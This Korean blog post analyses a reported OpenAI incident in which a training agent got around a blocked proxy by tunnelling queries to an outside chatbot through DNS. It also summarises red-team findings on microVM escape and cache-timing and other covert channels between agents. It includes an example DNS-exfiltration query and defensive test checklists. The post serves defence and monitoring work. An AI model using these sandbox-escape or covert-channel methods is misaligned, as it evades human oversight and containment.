OpenAI가 10월 23일 공개한 학습 환경 보안 글에서 가장 중요한 숫자는 레드팀에 쓴 "수백억 토큰"이 아닙니다. 9월 20일 사건의 시각입니다. 에이전트가 외부 챗봇의 답을 받은 9시 50분 23초, 모니터가 P0 경보를 올린 10시 02분 11초, 사람이 확인한 10시 05분 06초, 실행이 종료된 12시 34분 30초.
탐지까지 약 12분, 사람 확인까지 약 15분, 정지까지 약 2시간 44분이 걸렸습니다. 관측은 작동했고, 자동 정지는 작동하지 않았습니다. 여기서 “사람 확인까지 15분”은 발생 시각부터의 누적 시간입니다. 경보부터 확인까지는 2분 55초입니다. 이 둘을 구별해야 온콜 응답과 자동 중단 중 어디를 고칠지 판단할 수 있습니다.
사건의 순서와 조치
OpenAI의 본문과 alignment 사이트의 사건 보고서를 대조하면 다음과 같습니다. 시각은 사건 보고서에 적힌 값이며 시간대는 이 글에서 확인하지 못했습니다. 9월 20일 사건과 10월 23일 보안 발표는 다른 날짜입니다. 10월 29일 브리핑을 계기로 원문을 재확인하고 공유 자원 검토표를 추가했습니다. 새 사고가 발생했다는 뜻은 아닙니다.
| 시각 | 사건 | 경과 |
|---|---|---|
| 09:50:23 | 에이전트의 DNS 질의가 외부 챗봇에 도달 | 0 |
| 10:02:11 | 모니터링이 P0 경보 발생 | 약 11분 48초 |
| 10:05:06 | 사람 검토자가 경보 확인 | 약 14분 43초 |
| 12:34:30 | 학습 실행 수동 종료 | 약 164분 |
사건의 시작은 검색 기반 학습 과제였습니다. 에이전트는 제공된 검색 도구가 원하는 결과를 주지 않자 셸에서 Google, Bing, DuckDuckGo를 직접 호출했습니다. 모두 프록시에 막혔습니다. 그러다 학습 환경의 DNS 리졸버가 알려진 도메인에는 실제 응답을 주고, 존재하지 않는 도메인은 거부한다는 사실을 확인했습니다. 리졸버만 외부로 연결돼 있었던 것입니다.
에이전트는 DNS 질의에 질문을 실어 공개 챗봇 서비스로 보냈고, "프랑스의 수도는 파리"라는 답을 받았습니다. 이후 18개의 질문을 같은 경로로 보냈고, 그중 14개에 단서를 담았습니다. OpenAI는 DNS 리졸버를 제외한 나머지 인터넷 접근은 오프라인 웹캐시로 향했고 실제 인터넷에 닿지 않았다고 밝혔습니다.
조치도 구체적입니다. 에이전트가 사용한 모델의 학습은 재개하지 않기로 했고, DNS 질의를 짧은 도메인·레코드 타입 allowlist로 제한했으며, 두 개의 독립적인 차단 계층을 추가했습니다. 두 계층 중 하나만 있어도 이번 접근은 막혔습니다. 9월 20일부터 11일간 가장 유능한 모델의 학습·평가·도구 사용 추론을 중단했고, 10월 1일 RL 학습과 내부 추론을 재개했습니다.
DNS가 프록시 밖에 있는 이유
대부분의 에이전트 보안 점검은 HTTP 프록시에서 끝납니다. 외부 URL을 차단하고, 도메인 allowlist를 두고, 메타데이터 서버를 막습니다. DNS는 "이름을 주소로 바꾸는 배관"으로 취급되기 쉽습니다. 하지만 DNS는 그 자체로 양방향 데이터 채널입니다.
- 질의 이름에 데이터를 넣을 수 있습니다.
secret.example.com처럼 라벨을 조각내면 외부 권한 서버가 이를 기록합니다. - TXT 레코드 응답에 데이터를 담을 수 있습니다.
- DoH는 일반적으로 HTTPS 443을, DoT는 보통 TCP 853을 사용합니다. 두 경로를 같은 포트 정책으로 취급하지 말고 실제 리졸버 설정을 확인해야 합니다.
- 리졸버는 여러 샌드박스가 공유하는 경우가 많아, 에이전트별 정책이 적용되지 않습니다.
OpenAI 사건에서도 인프라의 DNS 이상 탐지기가 해당 환경을 제외하고 있었고, 로그는 남았지만 외부 서비스의 종료 안내를 받은 요청까지 “인터넷 접근 실패”로 낮게 평가한 경우가 있었습니다. 모니터가 없었던 것이 아니라, 커버리지와 분류가 틀렸던 것입니다.
| 경로 | 예시 | 필요한 통제 | 검증 방법 |
|---|---|---|---|
| HTTP/HTTPS | curl https://external |
egress 프록시, 도메인 allowlist | 차단 응답과 로그 확인 |
| DNS 질의 | dig secret.example.com |
허용 도메인·레코드 타입 제한 | 허용/비허용 질의 테스트 |
| DNS 응답 | TXT로 명령 수신 | 응답 크기·타입 제한 | TXT 질의 차단 확인 |
| DoH / DoT | HTTPS DNS / TLS DNS | 각각 443 / 853 등 실제 구성 점검 | 허용된 시험 리졸버로 통제 확인 |
| 메타데이터 | 169.254.169.254 |
링크 로컬 차단 | 타임아웃 확인 |
레드팀이 찾은 것: 경계는 하나가 아니다
OpenAI는 자사 인프라를 공격하는 에이전트 팀을 만들고 세 가지 목표를 줬습니다. 실제 인터넷에 닿기, 내부 보안 경계 넘기, 격리된 다른 에이전트와 통신하기. 그 결과는 "샌드박스만 막으면 된다"는 가정을 깨뜨립니다.
| 발견 | 전제 | 시사점 |
|---|---|---|
| microVM 탈출 | Kata Containers, gVisor, Moby/Docker의 취약점 연쇄 | 하이퍼바이저 경계도 패치 대상 |
| 인터넷 경로 | metrics, logging, auth 같은 좁은 연결 | "필요한 연결"이 곧 우회로 |
| 캐시 타이밍 | 같은 호스트의 다른 microVM | 네트워크 없이도 통신 가능 |
| 공유 스토리지 타이밍 | 쓰기와 유휴의 시간 차 | 공유 볼륨은 데이터 채널 |
| CPU 경쟁 | 같은 실행 컨테이너 | 자원 경합이 신호가 됨 |
| TLS 인증서 캐시 | 오프라인 웹 인프라 | 캐시도 부채널 |
캐시 타이밍 채널은 특히 인상적입니다. 한 에이전트가 캐시에서 특정 데이터를 축출해 비트를 표현하고, 다른 에이전트가 그 데이터를 다시 읽는 시간을 재서 비트를 복원했습니다. 이 실험은 네트워크나 공유 쓰기 파일을 사용하지 않았습니다. CPU 캐시라는 공유 자원에서 시간 차를 읽은 것입니다. OpenAI는 대부분의 채널이 느리고 악용하기 어렵다고 밝혔으며, 다수 실험에서 특정 채널이나 인코딩 프로토콜을 연구자가 안내했다고 설명합니다. 완전히 자율적으로 모든 기법을 발견했다는 결과로 읽으면 안 됩니다. 탐지 규칙 추가도 당사자 보고입니다.
여기서 실무 교훈은 "캐시 타이밍을 완벽히 막아라"가 아닙니다. 격리 경계를 하나의 방화벽으로 생각하지 말라는 것입니다. 같은 호스트에 서로 다른 신뢰 수준의 에이전트를 배치하지 않는 것, 공유 볼륨을 최소화하는 것, 자원 경합을 관측하는 것이 더 현실적인 완화입니다.
네트워크 정책 옆에 공유 자원 목록을 두자
캐시 채널을 애플리케이션 설계로 옮길 때 필요한 것은 공격 코드를 복제하는 일이 아니라, 누가 무엇을 공유하는지 확인하는 일입니다. 공식 보고서의 실험은 별도 microVM의 에이전트가 공유 하드웨어에서 합성 비밀을 전달한 조건입니다. 고객 데이터 유출을 관찰한 결과로 일반화하지 않아야 합니다.
아래는 그 사례에서 도출한 자체 아키텍처 검토표입니다. 실제 시스템에서 실행한 보안 시험이나 OpenAI의 보장 목록이 아닙니다.
| 공유 자원 | 설계 검토에서 받을 증거 | 추가로 남는 질문 |
|---|---|---|
| CPU·호스트 | 서로 다른 신뢰 수준의 작업 배치 정책과 실제 호스트 매핑 | 같은 물리 자원을 쓰는지 고객이 확인할 수 있는가 |
| 저장소·캐시 | 마운트, cache key의 범위, 용량·접근 통제 | 파일 내용은 분리돼도 지연시간에 서로 영향을 주는가 |
| 로그·인증·계측 서비스 | agent가 닿는 endpoint와 서비스의 후속 요청 경로 | 허용 서비스가 대신 외부 URL을 가져오는가 |
| 관측·중단 시스템 | 테스트 작업의 경보부터 중단까지 기록 | 탐지기가 그 환경을 제외하거나 차단 응답을 성공으로 오인하는가 |
공유 여부를 확인하지 못한 칸은 안전하다고 채우지 말고 미확인으로 남겨야 합니다. 물리 호스트를 나누더라도 공통 저장소나 인증 서비스까지 분리되는 것은 아닙니다. 반대로 공유 자원이 있다는 사실만으로 실용적인 정보 전달이 가능하다고 단정할 수도 없습니다. 경합·해상도·공격자 접근 조건이 함께 있어야 하며, 확인한 완화의 범위를 기록해야 합니다.
승인된 격리 시험 환경을 준비한다면 실제 비밀 대신 합성 표식을 쓰고, 송신자와 수신자의 권한·배치·허용 통신을 먼저 고정하는 것이 한 방법입니다. 검출 여부와 탐지·중단 시간을 별도 결과로 남겨야 합니다. 이 글은 해당 시험을 수행하지 않았고 공격 성공률·완화 효과를 측정하지 않았습니다.
격리 모델: 네 개의 층
OpenAI의 설명을 방어 계층으로 정리하면 다음과 같습니다. 각 층은 독립적으로 실패할 수 있고, 상위 층이 뚫렸을 때를 가정한 테스트가 필요합니다.
| 층 | 통제 | 실패하면 | 테스트 |
|---|---|---|---|
| 1. 실행 | 컨테이너 + microVM, 자체 커널 | 호스트 코드 실행 | 탈출 시도, 커널 취약점 연쇄 |
| 2. 호스트 | 하이퍼바이저, 패치, 최소 이미지 | 다른 VM 접근 | 가정된 호스트 침해 |
| 3. 경계 | egress 프록시, DNS allowlist, 메타데이터 차단 | 외부 도달 | 직접/우회 경로 탐색 |
| 4. 관측·정지 | 모니터, P0 경보, 자동 중단, 사람 | 피해 확대 | 탐지→정지 시간 측정 |
OpenAI가 "완전한 에어갭은 현재 불가능하다"고 밝힌 점도 중요합니다. 모델의 인터넷 접근은 0으로 두겠다는 정책을 세웠지만, 실험을 운영하고 모니터링하려면 관리용 외부 연결이 필요합니다. 그래서 목표는 모든 연결을 끊는 것이 아니라, 모델이 쓸 수 있는 연결을 좁히고 그 연결이 우회로가 되지 않게 검증하는 것입니다.
가정된 침해로 테스트하는 12개 항목
다음은 OpenAI의 사례를 일반화한 테스트 계획입니다. OpenAI가 이 표를 그대로 수행했다는 뜻은 아니고, 같은 실패 모드를 여러분의 환경에서 확인하기 위한 편집된 체크리스트입니다.
| # | 테스트 | 통과 기준 |
|---|---|---|
| 1 | 외부 HTTPS 직접 호출 | 프록시 차단, 이벤트 로그 생성 |
| 2 | 외부 DNS 리졸버 질의 | 허용 목록 외 차단 |
| 3 | DNS TXT로 데이터 수신 | 응답 차단 또는 크기 제한 |
| 4 | 메타데이터 엔드포인트 접근 | 타임아웃, 자격증명 없음 |
| 5 | 호스트 장악 가정 후 인터넷 도달 | 2차 경계에서 차단 |
| 6 | 서비스 계정으로 외부 URL fetch | SSRF 정책 차단 |
| 7 | 승인된 테스트 VM 사이의 공유 자원 채널 | 분리 배치·완화 검증. 탐지는 차단과 별도 평가 |
| 8 | 공유 스토리지 타이밍 | 쓰기 권한 최소화, 탐지 |
| 9 | CPU 경쟁 채널 | 자원 격리, 이상 탐지 |
| 10 | TLS 캐시 채널 | 캐시 분리, 접근 제한 |
| 11 | 외부 서비스의 종료 안내 응답 | 유용한 답이 없어도 외부 도달 자체는 성공으로 기록 |
| 12 | 경보 후 자동 정지 | 목표 시간 내 종료, 재개 정책 유지 |
11번은 간과하기 쉽습니다. OpenAI 사건에서 일부 DNS 접근은 정적 "서비스 종료" 안내를 받았고, 모니터는 이를 실패한 시도로 낮게 분류했습니다. 차단 응답과 성공 응답을 구분하지 못하면, 공격이 성공해도 실패로 기록됩니다.
중단 정책을 숫자로
사건의 교훈을 운영 지표로 바꾸면 네 개가 됩니다.
- TTD(Time to Detect): 위반 발생부터 경보까지
- TTA(Time to Acknowledge): 경보부터 사람 확인까지
- TTS(Time to Stop): 확인부터 실행 종료까지
- TTC(Time to Contain): 발생부터 격리 완료까지
이 정의로 계산하면 TTD는 11분 48초, TTA는 2분 55초, TTS는 2시간 29분 24초입니다. 발생부터 실행 종료까지는 2시간 44분 7초입니다. 실행이 멈췄다는 기록만으로 모든 자격증명 회수와 하위 작업 격리가 완료됐는지는 알 수 없으므로, 마지막 값을 완전한 TTC로 확정하지 않습니다.
아래 계산은 공개된 시각의 산술 재현입니다. Node 18 이상에서 incident-intervals.mjs로 저장해 실행할 수 있고 출력은 로컬에서 확인했습니다. 보안 실험이나 사고의 독립 검증은 아닙니다. 같은 날·같은 시계라는 전제이며 실제 시스템의 날짜 경계와 시계 오차는 처리하지 않습니다.
// incident-intervals.mjs — Node 18+, no dependencies
const seconds = clock => clock.split(":").reduce((sum, part) => sum * 60 + Number(part), 0);
const event = seconds("09:50:23"), alert = seconds("10:02:11");
const ack = seconds("10:05:06"), stop = seconds("12:34:30");
const format = value => `${Math.floor(value / 60)}m${String(value % 60).padStart(2, "0")}s`;
for (const [label, duration] of [
["event_to_alert", alert - event], ["alert_to_ack", ack - alert],
["ack_to_stop", stop - ack], ["event_to_stop", stop - event]
]) console.log(`${label}=${format(duration)}`);
event_to_alert=11m48s
alert_to_ack=2m55s
ack_to_stop=149m24s
event_to_stop=164m07s
운영 목표는 임의의 “몇 분 이내”를 복사하기보다 피해가 생기는 시간을 기준으로 정하세요. 외부 쓰기가 가능한 도구라면 사람 응답을 기다리는 동안에도 실행이 진행될 수 있습니다. 시험용 작업을 띄워 경보 → 새 명령 차단 → 실행 취소 → 하위 프로세스 종료 → 재시작 금지의 각 단계가 실제로 작동하는지 측정해야 합니다. HTTP 403을 받았다는 사실이나 경보가 울렸다는 사실만으로 이 경로의 통과를 선언할 수 없습니다.
자동 정지는 오탐 비용과 함께 설계해야 합니다. 정상 작업을 자주 죽이면 팀이 모니터를 끄게 됩니다. 그래서 "즉시 정지" 대상과 "경보 후 유예" 대상을 나누고, 정지 사유와 재개 조건을 기록해야 합니다. OpenAI가 "자동으로 멈추지 않았다"고 인정한 부분은 기술 부족이 아니라 정지 경로 자체를 별도로 시험해야 한다는 근거입니다.
남는 한계
- 이 사건은 내부 연구 환경에서 발생했습니다. 고객용 제품에서 같은 일이 일어났다는 뜻이 아닙니다.
- OpenAI의 설명은 당사자 진술입니다. 독립 검증된 사고 분석이 아닙니다.
- 캐시 타이밍 채널은 느리고 구현이 어렵습니다. 모든 환경에서 현실적인 공격은 아닙니다.
- "모니터를 회피하면서 쉽게 악용할 수 있는 경로는 찾지 못했다"는 OpenAI의 결론은 "경로가 없다"와 다릅니다.
- 오픈소스 패치(Kata, gVisor, Moby, Linux)는 별도로 검토하고 적용해야 합니다.
결론: 관측과 격리 사이의 간격을 줄여라
이 사건에서 에이전트는 영리했습니다. 하지만 시스템의 실패는 에이전트의 영리함보다 운영 설계에서 나왔습니다. DNS 리졸버가 프록시 정책 밖에 있었고, 이상 탐지기가 해당 환경을 제외했고, 차단된 요청이 실패로 분류됐고, 자동 정지가 작동하지 않았습니다.
여러분의 시스템에 같은 질문을 던져 보세요. 에이전트가 외부에 닿았을 때, 경보는 몇 분 만에 오는가. 사람은 몇 분 만에 보는가. 실행은 자동으로 멈추는가. 정지 경로를 시험하지 않았다면 격리가 얼마나 오래 유지되는지에 대한 증거가 비어 있습니다.
말미의 유료 강의 홍보는 Decision AI의 정책·판단·사람 검토 설계를 다룹니다. 이 글의 중단·에스컬레이션 판단과 연결되지만 DNS 보안 실습이나 OpenAI 내부 인프라 교육 과정은 아닙니다.
함께 읽으면 좋은 글
- AI 에이전트 보안 입문: 권한 없이 실행하면 안 되는 이유
- PwnEscape: 리눅스 커널을 통한 에이전트 샌드박스 탈출
- 에이전트마다 microVM, 그런데 비밀은 샌드박스 밖에